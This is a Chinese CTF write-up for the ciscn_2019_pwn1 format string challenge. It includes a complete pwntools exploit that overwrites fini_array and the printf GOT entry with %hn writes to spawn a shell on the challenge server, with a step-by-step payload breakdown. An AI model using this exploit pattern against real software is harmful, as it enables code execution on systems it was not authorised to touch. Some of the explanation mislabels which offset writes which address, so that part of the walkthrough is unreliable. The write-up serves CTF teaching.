ciscn_2019_pwn1

ida分析

首先来看题目

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}

可以看到题目里有明显的格式化字符串漏洞

再来看一下函数表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_init_proc
sub_80483A0
_printf
_puts
_system
___libc_start_main
_setvbuf
___isoc99_scanf
__gmon_start__
_start
__x86_get_pc_thunk_bx
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
_sys
main
__libc_csu_init
__libc_csu_fini
_term_proc
printf
puts
system extern
__libc_start_main
setvbuf extern
__isoc99_scanf
__imp___gmon_start__

发现存在system,但是并不是直接给的后门

1
2
3
4
int sys()
{
return system(command);
}

攻击手段

言归正传,到这里我们的思路已经很清晰了,通过格式化字符串漏洞找出偏移然后劫持fini_array重新触发漏洞

但是要怎么样去构造我们的payload呢?

我们先来看一个知识点

p64()+b’%nc’+‘%A$n’
在漏洞利用中,%n、%hn和%hh都可以用于将已经存储在堆栈上的数值写入内存中的任意位置。这些格式字符串的容量取决于它们所针对的底层数据类型 %n格式字符串用于将已经打印出来的字符数(而不是已经写入输出缓冲区的字符数)写入指定地址。因此,它的容量取决于可控制的输出大小,通常在4字节范围内。 %h格式字符串将16位无符号整数写入指定地址。由于其只能写入两个字节,因此其容量范围为0到65535。 %hhn格式字符串将8位无符号整数写入指定地址。由于其只能写入一个字节,因此其容量范围为0到255

先来看exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from pwn import p32

context(arch='i386',log_level='debug')

# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28742)
elf=ELF('./pwn')
io.recvuntil(b'name?\n')
# gdb.attach(io);input()
# offset=4
fini_array=0x804979C
printf_got=0x804989c
system_plt=0x80483d0
main=0x8048534
libc_csu_fini=0x8048620

# payload=fmtstr_payload(4,{fini_array:main,printf_got:system_plt},write_size='int')
# 0x0804 0x8534 0x804 0x83d0
payload=p32(fini_array+2)+p32(fini_array)+p32(printf_got+2)+p32(printf_got)
payload+=(f'%{0x804-0x10}c%4$hn'+f'%{0x8534-0x804}c%5$hn').encode()
payload+=(f'%{0x10000-0x8534+0x804}c%6$hn'+f'%{0x83d0-0x804}c%7$hn').encode()
# input(str(len(payload)))
io.sendline(payload)
io.recvuntil(b"Welcome to my ctf! What's your name?\n")
io.sendline(b'/bin/sh\x00')

io.interactive()

payload解析

1
2
3
4
5
payload=p32(fini_array+2)+p32(fini_array)+p32(printf_got+2)+p32(printf_got)

payload+=(f'%{0x804-0x10}c%4$hn'+f'%{0x8534-0x804}c%5$hn').encode()

payload+=(f'%{0x10000-0x8534+0x804}c%6$hn'+f'%{0x83d0-0x804}c%7$hn').encode()

payload=p32(fini_array+2)+p32(fini_array)+p32(printf_got+2)+p32(printf_got)

此部分将四个 32 位地址依次拼接成 payload。具体来说,fini_array + 2fini_array 是对 fini_array 数组中不同位置的地址引用,printf_got + 2printf_got 是对 printf 函数在 GOT 表中不同位置的地址引用。把这些地址放在 payload 开头,目的是在后续格式化字符串处理时,让 %hn 能将数据写入这些地址

payload+=(f’%{0x804-0x10}c%4$hn’+f’%{0x8534-0x804}c%5$hn’).encode()

  • %{0x804 - 0x10}c:这里的 c 是格式化字符,表示输出字符。{0x804 - 0x10} 是一个计算结果,此表达式的作用是输出 0x804 - 0x10 个字符,目的是凑够输出字符数。

  • %4$hn4$ 表示引用第 4 个参数,也就是前面 payload 中拼接的第 4 个地址(即 printf_got)。%hn 会把当前输出的字符数的低 16 位写入该地址。

  • f'%{0x8534 - 0x804}c%5$hn':同理,%{0x8534 - 0x804}c 输出 0x8534 - 0x804 个字符,%5$hn 把当前输出字符数的低 16 位写入第 5 个参数对应的地址(即 printf_got + 2

payload += (f’%{0x10000 - 0x8534 + 0x804}c%6$hn’ + f’%{0x83d0-0x804}c%7$hn’).encode()

  • 这部分和第二部分类似,%{0x10000 - 0x8534 + 0x804}c%6$hn 会把当前输出字符数的低 16 位写入第 6 个参数对应的地址(即 fini_array),%{0x83d0 - 0x804}c%7$hn 会把当前输出字符数的低 16 位写入第 7 个参数对应的地址(即 fini_array + 2)。

疑点

1.0x804-0x10是为什么

输出 0x804 - 0x10 个字符。0x10 是前面四个地址拼接部分的长度(每个地址 4 字节,共 16 字节,即 0x10)。通过输出这些字符,使得已输出字符数达到 0x804。0x804是main函数的高16位地址

同时%6$hn:6$ 表示引用第 6 个参数(即 fini_array),% hn 会将当前已输出字符数的低 16 位写入到 fini_array 地址处。

2.为什么要分两次传入

  • 在 32 位系统中,地址是 32 位(4 字节)的数据,但格式化字符串漏洞利用中的 %hn 转换说明符每次只能写入 16 位(2 字节)的数据。%hn 的这种特性决定了要写入一个完整的 32 位地址,就必须分两次进行,分别写入地址的低 16 位和高 16 位。

3.程序怎样调用的system

在ELF文件中,程序结束后会调用__libc_csu_fini中的指针来清理程序,这个时候我们将指针数组array[1]的值覆盖为main,结束后就会再次调用main函数,然后我们第二次篡改array[1]的值是system函数的地址,最后传入/bin/sh即可get shell

4.为什么要通过计算输出字符串的数量间接传入地址而不是直接传入

在这道题中需要我们灵活控制传入地址的低16位和高16位,所以采用这种间接的方法